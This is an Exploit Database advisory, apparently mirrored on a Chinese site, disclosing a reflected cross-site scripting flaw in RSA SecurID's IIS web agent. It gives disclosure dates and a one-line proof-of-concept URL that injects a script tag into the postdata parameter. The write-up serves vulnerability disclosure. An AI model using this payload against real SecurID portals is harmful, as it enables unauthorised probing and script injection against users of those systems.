RSA – SecurID Cross-Site Scripting

• Exploit Database
• 12 阅读

• 作者： s4squatch
  日期： 2010-02-11
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/11405/

• Discovered 12-11-2008
  
  Discovered By: s4squatch of SecureState R&D Team (www.securestate.com)
  
  Vendor Notified: 10-07-2009
  
  Vendor Response: 10-08-2009
  
  Version: Unknown --> DLL does not contain version, therefore vendor says it is outdated and not supported.
  
   
  
  POC:
  
  https://www.website.com/WebID/IISWebAgentIF.dll?stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata=get:f4e2c"><script>alert("xss")</script>60179147875&authntype=2&username=test&passcode=test[12:26] a